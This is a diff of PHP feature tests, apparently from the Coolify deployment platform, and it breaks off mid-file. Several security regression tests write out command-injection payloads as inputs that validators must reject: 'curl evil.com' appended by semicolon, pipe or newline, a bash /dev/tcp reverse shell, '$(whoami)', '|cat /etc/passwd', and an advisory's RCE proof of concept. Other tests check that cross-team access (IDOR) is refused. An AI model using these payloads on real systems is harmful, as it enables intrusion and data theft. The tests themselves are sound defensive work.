Merge branch 'next' into next

tests/Feature/ApplicationHealthCheckApiTest.php

@@ -25,13 +25,13 @@ beforeEach(function () {
     $this->server = Server::factory()->create(['team_id' => $this->team->id]);
 
     StandaloneDocker::withoutEvents(function () {
-        $this->destination = StandaloneDocker::firstOrCreate(
-            ['server_id' => $this->server->id, 'network' => 'coolify'],
+        $this->destination = $this->server->standaloneDockers()->firstOrCreate(
+            ['network' => 'coolify'],
             ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
         );
     });
 
-    $this->project = Project::create([
+    $this->project = Project::forceCreate([
         'uuid' => (string) new Cuid2,
         'name' => 'test-project',
         'team_id' => $this->team->id,

tests/Feature/ApplicationRedirectTest.php

@@ -0,0 +1,60 @@
+<?php
+
+use App\Livewire\Project\Application\General;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+describe('Application Redirect', function () {
+    test('setRedirect persists the redirect value to the database', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'fqdn' => 'https://example.com,https://www.example.com',
+            'redirect' => 'both',
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('redirect', 'www')
+            ->call('setRedirect')
+            ->assertDispatched('success');
+
+        $application->refresh();
+        expect($application->redirect)->toBe('www');
+    });
+
+    test('setRedirect rejects www redirect when no www domain exists', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'fqdn' => 'https://example.com',
+            'redirect' => 'both',
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('redirect', 'www')
+            ->call('setRedirect')
+            ->assertDispatched('error');
+
+        $application->refresh();
+        expect($application->redirect)->toBe('both');
+    });
+});

tests/Feature/ClonePersistentVolumeUuidTest.php

@@ -0,0 +1,84 @@
+<?php
+
+use App\Livewire\Project\Shared\ResourceOperations;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\LocalPersistentVolume;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Livewire\Livewire;
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->user->teams()->attach($this->team, ['role' => 'owner']);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+});
+
+test('cloning application generates new uuid for persistent volumes', function () {
+    $volume = LocalPersistentVolume::create([
+        'name' => $this->application->uuid.'-data',
+        'mount_path' => '/data',
+        'resource_id' => $this->application->id,
+        'resource_type' => $this->application->getMorphClass(),
+    ]);
+
+    $originalUuid = $volume->uuid;
+
+    $newApp = clone_application($this->application, $this->destination, [
+        'environment_id' => $this->environment->id,
+    ]);
+
+    $clonedVolume = $newApp->persistentStorages()->first();
+
+    expect($clonedVolume)->not->toBeNull();
+    expect($clonedVolume->uuid)->not->toBe($originalUuid);
+    expect($clonedVolume->mount_path)->toBe('/data');
+});
+
+test('cloning application with multiple persistent volumes generates unique uuids', function () {
+    $volume1 = LocalPersistentVolume::create([
+        'name' => $this->application->uuid.'-data',
+        'mount_path' => '/data',
+        'resource_id' => $this->application->id,
+        'resource_type' => $this->application->getMorphClass(),
+    ]);
+
+    $volume2 = LocalPersistentVolume::create([
+        'name' => $this->application->uuid.'-config',
+        'mount_path' => '/config',
+        'resource_id' => $this->application->id,
+        'resource_type' => $this->application->getMorphClass(),
+    ]);
+
+    $newApp = clone_application($this->application, $this->destination, [
+        'environment_id' => $this->environment->id,
+    ]);
+
+    $clonedVolumes = $newApp->persistentStorages()->get();
+
+    expect($clonedVolumes)->toHaveCount(2);
+
+    $clonedUuids = $clonedVolumes->pluck('uuid')->toArray();
+    $originalUuids = [$volume1->uuid, $volume2->uuid];
+
+    // All cloned UUIDs should be unique and different from originals
+    expect($clonedUuids)->each->not->toBeIn($originalUuids);
+    expect(array_unique($clonedUuids))->toHaveCount(2);
+});

tests/Feature/CommandInjectionSecurityTest.php

@@ -672,3 +672,185 @@ describe('API route middleware for deploy actions', function () {
         expect($middleware)->toContain('api.ability:deploy');
     });
 });
+
+describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
+    test('rejects semicolon injection in install_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['install_command' => 'npm install; curl evil.com'],
+            ['install_command' => $rules['install_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects pipe injection in build_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => 'npm run build | curl evil.com'],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects command substitution in start_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['start_command' => 'npm start $(whoami)'],
+            ['start_command' => $rules['start_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects backtick injection in install_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['install_command' => 'npm install `whoami`'],
+            ['install_command' => $rules['install_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects dollar sign in build_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => 'npm run build $HOME'],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects reverse shell payload in install_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
+            ['install_command' => $rules['install_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects newline injection in start_command', function () {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['start_command' => "npm start\ncurl evil.com"],
+            ['start_command' => $rules['start_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('allows valid install commands', function ($cmd) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['install_command' => $cmd],
+            ['install_command' => $rules['install_command']]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with([
+        'npm install',
+        'yarn install --frozen-lockfile',
+        'pip install -r requirements.txt',
+        'bun install',
+        'pnpm install --no-frozen-lockfile',
+    ]);
+
+    test('allows valid build commands', function ($cmd) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => $cmd],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with([
+        'npm run build',
+        'cargo build --release',
+        'go build -o main .',
+        'yarn build && yarn postbuild',
+        'make build',
+    ]);
+
+    test('allows valid start commands', function ($cmd) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['start_command' => $cmd],
+            ['start_command' => $rules['start_command']]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with([
+        'npm start',
+        'node server.js',
+        'python main.py',
+        'java -jar app.jar',
+        './start.sh',
+    ]);
+
+    test('allows null values for command fields', function ($field) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            [$field => null],
+            [$field => $rules[$field]]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with(['install_command', 'build_command', 'start_command']);
+});
+
+describe('install/build/start command rules survive array_merge in controller', function () {
+    test('install_command safe regex is not overridden by local rules', function () {
+        $sharedRules = sharedDataApplications();
+
+        $localRules = [
+            'name' => 'string|max:255',
+            'docker_compose_domains' => 'array|nullable',
+        ];
+        $merged = array_merge($sharedRules, $localRules);
+
+        expect($merged['install_command'])->toBeArray();
+        expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+    });
+
+    test('build_command safe regex is not overridden by local rules', function () {
+        $sharedRules = sharedDataApplications();
+
+        $localRules = [
+            'name' => 'string|max:255',
+            'docker_compose_domains' => 'array|nullable',
+        ];
+        $merged = array_merge($sharedRules, $localRules);
+
+        expect($merged['build_command'])->toBeArray();
+        expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+    });
+
+    test('start_command safe regex is not overridden by local rules', function () {
+        $sharedRules = sharedDataApplications();
+
+        $localRules = [
+            'name' => 'string|max:255',
+            'docker_compose_domains' => 'array|nullable',
+        ];
+        $merged = array_merge($sharedRules, $localRules);
+
+        expect($merged['start_command'])->toBeArray();
+        expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+    });
+});

tests/Feature/ComposePreviewFqdnTest.php

@@ -14,9 +14,10 @@ it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compo
         ]),
     ]);
 
-    $preview = ApplicationPreview::create([
+    $preview = ApplicationPreview::forceCreate([
         'application_id' => $application->id,
         'pull_request_id' => 42,
+        'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
         'docker_compose_domains' => $application->docker_compose_domains,
     ]);
 
@@ -38,9 +39,10 @@ it('populates fqdn with multiple domains from multiple services', function () {
         ]),
     ]);
 
-    $preview = ApplicationPreview::create([
+    $preview = ApplicationPreview::forceCreate([
         'application_id' => $application->id,
         'pull_request_id' => 7,
+        'pull_request_html_url' => 'https://github.com/example/repo/pull/7',
         'docker_compose_domains' => $application->docker_compose_domains,
     ]);
 
@@ -63,9 +65,10 @@ it('sets fqdn to null when no domains are configured', function () {
         ]),
     ]);
 
-    $preview = ApplicationPreview::create([
+    $preview = ApplicationPreview::forceCreate([
         'application_id' => $application->id,
         'pull_request_id' => 99,
+        'pull_request_html_url' => 'https://github.com/example/repo/pull/99',
         'docker_compose_domains' => $application->docker_compose_domains,
     ]);
 

tests/Feature/CrossTeamIdorServerProjectTest.php

@@ -0,0 +1,182 @@
+<?php
+
+use App\Livewire\Boarding\Index as BoardingIndex;
+use App\Livewire\GlobalSearch;
+use App\Livewire\Project\CloneMe;
+use App\Livewire\Project\DeleteProject;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Attacker: Team A
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+    $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+    // Victim: Team B
+    $this->userB = User::factory()->create();
+    $this->teamB = Team::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+
+    $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+    $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+    $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+    // Act as attacker (Team A)
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('boarding mount cannot load server from another team via selectedExistingServer', function () {
+        $component = Livewire::test(BoardingIndex::class, [
+            'selectedServerType' => 'remote',
+            'selectedExistingServer' => $this->serverB->id,
+        ]);
+
+        // The server from Team B should NOT be loaded
+        expect($component->get('createdServer'))->toBeNull();
+    });
+
+    test('boarding mount can load own team server via selectedExistingServer', function () {
+        $component = Livewire::test(BoardingIndex::class, [
+            'selectedServerType' => 'remote',
+            'selectedExistingServer' => $this->serverA->id,
+        ]);
+
+        // Own team server should load successfully
+        expect($component->get('createdServer'))->not->toBeNull();
+        expect($component->get('createdServer')->id)->toBe($this->serverA->id);
+    });
+});
+
+describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('boarding mount cannot load project from another team via selectedProject', function () {
+        $component = Livewire::test(BoardingIndex::class, [
+            'selectedProject' => $this->projectB->id,
+        ]);
+
+        // The project from Team B should NOT be loaded
+        expect($component->get('createdProject'))->toBeNull();
+    });
+
+    test('boarding selectExistingProject cannot load project from another team', function () {
+        $component = Livewire::test(BoardingIndex::class)
+            ->set('selectedProject', $this->projectB->id)
+            ->call('selectExistingProject');
+
+        expect($component->get('createdProject'))->toBeNull();
+        $component->assertDispatched('error');
+    });
+
+    test('boarding selectExistingProject can load own team project', function () {
+        $component = Livewire::test(BoardingIndex::class)
+            ->set('selectedProject', $this->projectA->id)
+            ->call('selectExistingProject');
+
+        expect($component->get('createdProject'))->not->toBeNull();
+        expect($component->get('createdProject')->id)->toBe($this->projectA->id);
+    });
+});
+
+describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('loadDestinations cannot access server from another team', function () {
+        $component = Livewire::test(GlobalSearch::class)
+            ->set('selectedServerId', $this->serverB->id)
+            ->call('loadDestinations');
+
+        // Should dispatch error because server is not found (team-scoped)
+        $component->assertDispatched('error');
+    });
+});
+
+describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('loadEnvironments cannot access project from another team', function () {
+        $component = Livewire::test(GlobalSearch::class)
+            ->set('selectedProjectUuid', $this->projectB->uuid)
+            ->call('loadEnvironments');
+
+        // Should not load environments from another team's project
+        expect($component->get('availableEnvironments'))->toBeEmpty();
+    });
+});
+
+describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('cannot mount DeleteProject with project from another team', function () {
+        // Should throw ModelNotFoundException (404) because team-scoped query won't find it
+        Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
+    })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+
+    test('can mount DeleteProject with own team project', function () {
+        $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
+
+        expect($component->get('projectName'))->toBe($this->projectA->name);
+    });
+});
+
+describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('cannot mount CloneMe with project UUID from another team', function () {
+        // Should throw ModelNotFoundException because team-scoped query won't find it
+        Livewire::test(CloneMe::class, [
+            'project_uuid' => $this->projectB->uuid,
+            'environment_uuid' => $this->environmentB->uuid,
+        ]);
+    })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+
+    test('can mount CloneMe with own team project UUID', function () {
+        $component = Livewire::test(CloneMe::class, [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ]);
+
+        expect($component->get('project_id'))->toBe($this->projectA->id);
+    });
+});
+
+describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+    test('deploy cancel API cannot access build server from another team', function () {
+        // Create a deployment queue entry that references Team B's server as build_server
+        $application = \App\Models\Application::factory()->create([
+            'environment_id' => $this->environmentA->id,
+            'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
+            'destination_type' => StandaloneDocker::class,
+        ]);
+
+        $deployment = \App\Models\ApplicationDeploymentQueue::create([
+            'application_id' => $application->id,
+            'deployment_uuid' => 'test-deploy-' . fake()->uuid(),
+            'server_id' => $this->serverA->id,
+            'build_server_id' => $this->serverB->id, // Cross-team build server
+            'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+        ]);
+
+        $token = $this->userA->createToken('test-token', ['*']);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer ' . $token->plainTextToken,
+        ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
+
+        // The cancellation should proceed but the build_server should NOT be found
+        // (team-scoped query returns null for Team B's server)
+        // The deployment gets cancelled but no remote process runs on the wrong server
+        $response->assertOk();
+
+        // Verify the deployment was cancelled
+        $deployment->refresh();
+        expect($deployment->status)->toBe(
+            \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
+        );
+    });
+});

tests/Feature/DatabaseEnvironmentVariableApiTest.php

@@ -33,7 +33,7 @@ beforeEach(function () {
 
 function createDatabase($context): StandalonePostgresql
 {
-    return StandalonePostgresql::create([
+    return StandalonePostgresql::forceCreate([
         'name' => 'test-postgres',
         'image' => 'postgres:15-alpine',
         'postgres_user' => 'postgres',

tests/Feature/DatabasePublicPortTimeoutApiTest.php

@@ -33,7 +33,7 @@ beforeEach(function () {
 
 describe('PATCH /api/v1/databases', function () {
     test('updates public_port_timeout on a postgresql database', function () {
-        $database = StandalonePostgresql::create([
+        $database = StandalonePostgresql::forceCreate([
             'name' => 'test-postgres',
             'image' => 'postgres:15-alpine',
             'postgres_user' => 'postgres',
@@ -57,7 +57,7 @@ describe('PATCH /api/v1/databases', function () {
     });
 
     test('updates public_port_timeout on a redis database', function () {
-        $database = StandaloneRedis::create([
+        $database = StandaloneRedis::forceCreate([
             'name' => 'test-redis',
             'image' => 'redis:7',
             'redis_password' => 'password',
@@ -79,7 +79,7 @@ describe('PATCH /api/v1/databases', function () {
     });
 
     test('rejects invalid public_port_timeout value', function () {
-        $database = StandalonePostgresql::create([
+        $database = StandalonePostgresql::forceCreate([
             'name' => 'test-postgres',
             'image' => 'postgres:15-alpine',
             'postgres_user' => 'postgres',
@@ -101,7 +101,7 @@ describe('PATCH /api/v1/databases', function () {
     });
 
     test('accepts null public_port_timeout', function () {
-        $database = StandalonePostgresql::create([
+        $database = StandalonePostgresql::forceCreate([
             'name' => 'test-postgres',
             'image' => 'postgres:15-alpine',
             'postgres_user' => 'postgres',

tests/Feature/DockerCleanupJobTest.php

@@ -8,6 +8,22 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
 
 uses(RefreshDatabase::class);
 
+it('persists the server id when creating an execution record', function () {
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    $server = Server::factory()->create(['team_id' => $team->id]);
+
+    $execution = DockerCleanupExecution::create([
+        'server_id' => $server->id,
+    ]);
+
+    expect($execution->server_id)->toBe($server->id);
+    $this->assertDatabaseHas('docker_cleanup_executions', [
+        'id' => $execution->id,
+        'server_id' => $server->id,
+    ]);
+});
+
 it('creates a failed execution record when server is not functional', function () {
     $user = User::factory()->create();
     $team = $user->teams()->first();

tests/Feature/DockerImagePreviewDeploymentApiTest.php

@@ -0,0 +1,146 @@
+<?php
+
+use App\Models\Application;
+use App\Models\ApplicationPreview;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Queue;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Queue::fake();
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $plainTextToken = Str::random(40);
+    $token = $this->user->tokens()->create([
+        'name' => 'test-token',
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => ['*'],
+        'team_id' => $this->team->id,
+    ]);
+    $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::factory()->create([
+        'server_id' => $this->server->id,
+        'network' => 'coolify-'.Str::lower(Str::random(8)),
+    ]);
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application
+{
+    return Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => StandaloneDocker::class,
+        'build_pack' => 'dockerimage',
+        'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
+        'docker_registry_image_tag' => 'latest',
+    ]);
+}
+
+test('it queues a docker image preview deployment and stores the preview tag', function () {
+    $application = createDockerImageApplication($this->environment, $this->destination);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$this->bearerToken,
+    ])->postJson('/api/v1/deploy', [
+        'uuid' => $application->uuid,
+        'pull_request_id' => 1234,
+        'docker_tag' => 'pr_1234',
+    ]);
+
+    $response->assertSuccessful();
+    $response->assertJsonPath('deployments.0.resource_uuid', $application->uuid);
+
+    $preview = ApplicationPreview::query()
+        ->where('application_id', $application->id)
+        ->where('pull_request_id', 1234)
+        ->first();
+
+    expect($preview)->not()->toBeNull();
+    expect($preview->docker_registry_image_tag)->toBe('pr_1234');
+
+    $deployment = $application->deployment_queue()->latest('id')->first();
+
+    expect($deployment)->not()->toBeNull();
+    expect($deployment->pull_request_id)->toBe(1234);
+    expect($deployment->docker_registry_image_tag)->toBe('pr_1234');
+});
+
+test('it updates an existing docker image preview tag when redeploying through the api', function () {
+    $application = createDockerImageApplication($this->environment, $this->destination);
+
+    ApplicationPreview::create([
+        'application_id' => $application->id,
+        'pull_request_id' => 99,
+        'pull_request_html_url' => '',
+        'docker_registry_image_tag' => 'pr_99_old',
+    ]);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$this->bearerToken,
+    ])->postJson('/api/v1/deploy', [
+        'uuid' => $application->uuid,
+        'pull_request_id' => 99,
+        'docker_tag' => 'pr_99_new',
+        'force' => true,
+    ]);
+
+    $response->assertSuccessful();
+
+    $preview = ApplicationPreview::query()
+        ->where('application_id', $application->id)
+        ->where('pull_request_id', 99)
+        ->first();
+
+    expect($preview->docker_registry_image_tag)->toBe('pr_99_new');
+});
+
+test('it rejects docker_tag without pull_request_id', function () {
+    $application = createDockerImageApplication($this->environment, $this->destination);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$this->bearerToken,
+    ])->postJson('/api/v1/deploy', [
+        'uuid' => $application->uuid,
+        'docker_tag' => 'pr_1234',
+    ]);
+
+    $response->assertStatus(400);
+    $response->assertJson(['message' => 'docker_tag requires pull_request_id.']);
+});
+
+test('it rejects docker_tag for non docker image applications', function () {
+    $application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => StandaloneDocker::class,
+        'build_pack' => 'nixpacks',
+    ]);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$this->bearerToken,
+    ])->postJson('/api/v1/deploy', [
+        'uuid' => $application->uuid,
+        'pull_request_id' => 7,
+        'docker_tag' => 'pr_7',
+    ]);
+
+    $response->assertSuccessful();
+    $response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.');
+});

tests/Feature/GetLogsCommandInjectionTest.php

@@ -0,0 +1,162 @@
+<?php
+
+use App\Livewire\Project\Shared\GetLogs;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use App\Support\ValidationPatterns;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Attributes\Locked;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->user->teams()->attach($this->team, ['role' => 'owner']);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    // Server::created auto-creates a StandaloneDocker, reuse it
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+});
+
+describe('GetLogs locked properties', function () {
+    test('container property has Locked attribute', function () {
+        $property = new ReflectionProperty(GetLogs::class, 'container');
+        $attributes = $property->getAttributes(Locked::class);
+
+        expect($attributes)->not->toBeEmpty();
+    });
+
+    test('server property has Locked attribute', function () {
+        $property = new ReflectionProperty(GetLogs::class, 'server');
+        $attributes = $property->getAttributes(Locked::class);
+
+        expect($attributes)->not->toBeEmpty();
+    });
+
+    test('resource property has Locked attribute', function () {
+        $property = new ReflectionProperty(GetLogs::class, 'resource');
+        $attributes = $property->getAttributes(Locked::class);
+
+        expect($attributes)->not->toBeEmpty();
+    });
+
+    test('servicesubtype property has Locked attribute', function () {
+        $property = new ReflectionProperty(GetLogs::class, 'servicesubtype');
+        $attributes = $property->getAttributes(Locked::class);
+
+        expect($attributes)->not->toBeEmpty();
+    });
+});
+
+describe('GetLogs Livewire action validation', function () {
+    test('getLogs rejects invalid container name', function () {
+        // Make server functional by setting settings directly
+        $this->server->settings->forceFill([
+            'is_reachable' => true,
+            'is_usable' => true,
+            'force_disabled' => false,
+        ])->save();
+        // Reload server with fresh settings to ensure casted values
+        $server = Server::with('settings')->find($this->server->id);
+
+        Livewire::test(GetLogs::class, [
+            'server' => $server,
+            'resource' => $this->application,
+            'container' => 'container;malicious-command',
+        ])
+            ->call('getLogs')
+            ->assertSet('outputs', 'Invalid container name.');
+    });
+
+    test('getLogs rejects unauthorized server access', function () {
+        $otherTeam = Team::factory()->create();
+        $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+
+        Livewire::test(GetLogs::class, [
+            'server' => $otherServer,
+            'resource' => $this->application,
+            'container' => 'test-container',
+        ])
+            ->call('getLogs')
+            ->assertSet('outputs', 'Unauthorized.');
+    });
+
+    test('downloadAllLogs returns empty for invalid container name', function () {
+        $this->server->settings->forceFill([
+            'is_reachable' => true,
+            'is_usable' => true,
+            'force_disabled' => false,
+        ])->save();
+        $server = Server::with('settings')->find($this->server->id);
+
+        Livewire::test(GetLogs::class, [
+            'server' => $server,
+            'resource' => $this->application,
+            'container' => 'container$(whoami)',
+        ])
+            ->call('downloadAllLogs')
+            ->assertReturned('');
+    });
+
+    test('downloadAllLogs returns empty for unauthorized server', function () {
+        $otherTeam = Team::factory()->create();
+        $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+
+        Livewire::test(GetLogs::class, [
+            'server' => $otherServer,
+            'resource' => $this->application,
+            'container' => 'test-container',
+        ])
+            ->call('downloadAllLogs')
+            ->assertReturned('');
+    });
+});
+
+describe('GetLogs container name injection payloads are blocked by validation', function () {
+    test('newline injection payload is rejected', function () {
+        // The exact PoC payload from the advisory
+        $payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#";
+        expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse();
+    });
+
+    test('semicolon injection payload is rejected', function () {
+        expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse();
+    });
+
+    test('backtick injection payload is rejected', function () {
+        expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse();
+    });
+
+    test('command substitution injection payload is rejected', function () {
+        expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse();
+    });
+
+    test('pipe injection payload is rejected', function () {
+        expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse();
+    });
+
+    test('valid container names are accepted', function () {
+        expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue();
+        expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue();
+        expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue();
+        expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue();
+    });
+});

tests/Feature/InternalModelCreationMassAssignmentTest.php

@@ -0,0 +1,73 @@
+<?php
+
+use App\Models\Application;
+use App\Models\ApplicationSetting;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+it('creates application settings for internally created applications', function () {
+    $team = Team::factory()->create();
+    $project = Project::factory()->create([
+        'team_id' => $team->id,
+    ]);
+    $environment = Environment::factory()->create([
+        'project_id' => $project->id,
+    ]);
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+    ]);
+    $destination = $server->standaloneDockers()->firstOrFail();
+
+    $application = Application::forceCreate([
+        'name' => 'internal-app',
+        'git_repository' => 'https://github.com/coollabsio/coolify',
+        'git_branch' => 'main',
+        'build_pack' => 'nixpacks',
+        'ports_exposes' => '3000',
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+    ]);
+
+    $setting = ApplicationSetting::query()
+        ->where('application_id', $application->id)
+        ->first();
+
+    expect($application->environment_id)->toBe($environment->id);
+    expect($setting)->not->toBeNull();
